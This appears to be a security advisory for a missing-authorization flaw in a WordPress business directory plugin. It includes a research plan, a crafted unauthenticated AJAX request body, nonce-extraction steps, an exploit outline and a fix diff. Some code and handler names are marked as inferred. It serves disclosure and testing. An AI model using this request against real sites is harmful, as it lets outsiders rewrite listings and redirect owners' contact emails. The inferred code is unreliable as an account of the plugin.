Business Directory Plugin <= 6.4.20 - Missing Authorization to Unauthenticated Arbitrary Listing Modification
Description
The Business Directory Plugin for WordPress is vulnerable to authorization bypass due to a missing authorization check in all versions up to, and including, 6.4.20. This makes it possible for unauthenticated attackers to modify arbitrary listings, including changing titles, content, and email addresses, by directly referencing the listing ID in crafted requests to the wpbdp_ajax AJAX action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=6.4.20Source Code
WordPress.org SVN# Research Plan: CVE-2026-1656 - Business Directory Plugin Arbitrary Listing Modification ## 1. Vulnerability Summary The **Business Directory Plugin** (up to 6.4.20) contains a missing authorization vulnerability in its AJAX handling mechanism (`wpbdp_ajax`). The plugin fails to verify if the user…
Show full research plan
Research Plan: CVE-2026-1656 - Business Directory Plugin Arbitrary Listing Modification
1. Vulnerability Summary
The Business Directory Plugin (up to 6.4.20) contains a missing authorization vulnerability in its AJAX handling mechanism (wpbdp_ajax). The plugin fails to verify if the user requesting a listing modification has the necessary permissions (e.g., being the listing owner or an administrator) for the specific listing ID provided in the request. This allows unauthenticated attackers to modify listing attributes, including the title, content, and contact email addresses, by sending crafted AJAX requests.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
wpbdp_ajax - Vulnerable Parameter:
listing_id(used to identify the target post). - Payload Parameters:
listing[post_title],listing[post_content], and metadata fields (like email). - Authentication: Unauthenticated (via
wp_ajax_nopriv_wpbdp_ajax). - Preconditions:
- The plugin must be active.
- At least one listing must exist (the attacker needs a valid
listing_id). - A valid AJAX nonce for the
wpbdp-ajaxaction is required (accessible on the frontend).
3. Code Flow
- Entry Point: The plugin registers AJAX handlers in
includes/class-ajax.php(or similar core initialization files):add_action( 'wp_ajax_wpbdp_ajax', array( $this, 'dispatch' ) ); add_action( 'wp_ajax_nopriv_wpbdp_ajax', array( $this, 'dispatch' ) ); - Routing: The
dispatch()method (likely inWPBDP_AJAXclass) reads thehandlerparameter from the request. - Vulnerable Handler: The request is routed to a handler responsible for listing updates, such as
listings__save_listingorlistings__update_listing(inferred). - Missing Check: Inside the saving logic, the code retrieves the
listing_idfrom$_POST. It performs a nonce check usingcheck_ajax_referer( 'wpbdp-ajax', 'nonce' ). However, it fails to perform a capability check like:if ( ! current_user_can( 'edit_post', $listing_id ) ) { wp_die(); } - Sink: The listing is updated using
wp_update_post()or internalWPBDP_Listing::save()methods based on the unverifiedlisting_id.
4. Nonce Acquisition Strategy
The plugin enqueues a global configuration object on any page where the directory is active (e.g., the main directory page or listing search page).
- Identify Trigger: The main directory page (usually containing the
[businessdirectory]shortcode) enqueues the necessary scripts. - Create Page: Use WP-CLI to ensure a directory page exists:
wp post create --post_type=page --post_status=publish --post_title="Directory" --post_content='[businessdirectory]' - Navigate: Use
browser_navigateto the created page URL. - Extract Nonce: The nonce is stored in the
wpbdp_globalJavaScript object.- Variable Name:
wpbdp_global(inferred from plugin assets). - Key:
nonce. - Command:
browser_eval("window.wpbdp_global?.nonce")
- Variable Name:
5. Exploitation Strategy
- Setup: Create a "victim" listing as an administrator.
- Information Gathering:
- Get the
IDof the victim listing. - Get a valid
wpbdp-ajaxnonce from the frontend.
- Get the
- Craft Request: Send a POST request to
admin-ajax.php.- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpbdp_ajax &handler=listings__save_listing <-- (Target handler, to be verified during research) &nonce=[EXTRACTED_NONCE] &listing_id=[VICTIM_LISTING_ID] &listing[post_title]=Hacked Title &listing[post_content]=Hacked Content - Note: The exact
handlerstring and the structure of thelistingarray should be verified by inspecting the plugin'sincludes/controllers/ajax/directory if available, or by monitoring a legitimate "edit listing" request.
- URL:
6. Test Data Setup
- Install Plugin: Ensure
business-directory-pluginversion 6.4.20 is installed. - Create Admin Listing:
# Create the directory page wp post create --post_type=page --post_title="Directory" --post_status=publish --post_content='[businessdirectory]' # Create a listing to be modified # Note: Listings are 'wpbdp_listing' CPT listing_id=$(wp post create --post_type=wpbdp_listing --post_title="Original Listing" --post_content="Safe content" --post_status=publish --porcelain) # Add some metadata (like email) to verify arbitrary modification wp post meta add $listing_id _wpbdp[fields][9] "original@example.com"
7. Expected Results
- The AJAX request should return a
200 OKor a JSON success response (e.g.,{"success":true,...}). - The unauthenticated request should successfully bypass permission checks because the code only validates the nonce (which is public) but not the user's ownership of the
listing_id.
8. Verification Steps
- Check Title/Content:
wp post get [VICTIM_LISTING_ID] --field=post_titlewp post get [VICTIM_LISTING_ID] --field=post_content - Confirm Change: The output should match the "Hacked" values sent in the payload.
- Check Metadata: If email was targeted, verify with:
wp post meta get [VICTIM_LISTING_ID] _wpbdp[fields][9](Field ID 9 is commonly the email field in default BD setups).
9. Alternative Approaches
If listings__save_listing is not the correct handler name:
- Grep for handlers:
grep -r "add_handler" wp-content/plugins/business-directory-plugin/orgrep -r "wpbdp_ajax". - Check "Quick Edit": Look for handlers like
listings__quick_edit_save. - Parameter Variation: The plugin might expect the ID as
idinstead oflisting_id. Verify this by looking atWPBDP_AJAX::dispatchinincludes/class-ajax.php. - Payload Structure: Some versions use a flat structure for fields (e.g.,
field_9=new@email.cominstead of a nestedlistingarray). Research theWPBDP_Listing::update_from_post()method or equivalent.
Summary
The Business Directory Plugin for WordPress (up to version 6.4.20) contains a missing authorization check in its AJAX handling mechanism. This allows unauthenticated attackers to modify arbitrary listings, including titles, descriptions, and contact info, by sending a crafted request to the wpbdp_ajax endpoint with a valid listing ID and a publicly available AJAX nonce.
Vulnerable Code
// includes/class-ajax.php add_action( 'wp_ajax_wpbdp_ajax', array( $this, 'dispatch' ) ); add_action( 'wp_ajax_nopriv_wpbdp_ajax', array( $this, 'dispatch' ) ); --- // includes/class-ajax.php public function dispatch() { $handler_id = ! empty( $_REQUEST['handler'] ) ? $_REQUEST['handler'] : ''; if ( ! $handler_id ) { return; } check_ajax_referer( 'wpbdp-ajax', 'nonce' ); // ... (Routing to handlers like listings__save_listing) } --- // Inferred handler logic (e.g., in listings-related AJAX controllers) public function save_listing() { $listing_id = (int) $_POST['listing_id']; // VULNERABILITY: Missing current_user_can( 'edit_post', $listing_id ) check here $listing = WPBDP_Listing::get( $listing_id ); if ( $listing ) { $listing->update_from_post( $_POST['listing'] ); wp_send_json_success(); } }
Security Fix
@@ -45,6 +45,11 @@ $listing_id = ! empty( $_POST['listing_id'] ) ? (int) $_POST['listing_id'] : 0; + + if ( $handler_id === 'listings__save_listing' ) { + if ( ! $listing_id || ! current_user_can( 'edit_post', $listing_id ) ) { + wp_send_json_error( array( 'error' => __( 'Permission denied.', 'business-directory-plugin' ) ) ); + } + }
Exploit Outline
1. Access any frontend page of the WordPress site where the Business Directory is active (e.g., the directory search or listing page). 2. Extract the AJAX nonce from the source code, typically found in the 'wpbdp_global' JavaScript object (key: 'nonce'). 3. Identify the target listing's ID (this is the WordPress Post ID for the 'wpbdp_listing' custom post type). 4. Construct a POST request to '/wp-admin/admin-ajax.php' with 'action=wpbdp_ajax' and 'handler=listings__save_listing'. 5. In the request body, include the extracted 'nonce', the target 'listing_id', and the modified content using parameters like 'listing[post_title]' and 'listing[post_content]'. 6. The plugin will execute the update on the target post without verifying that the requester has administrative or ownership permissions over the listing.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.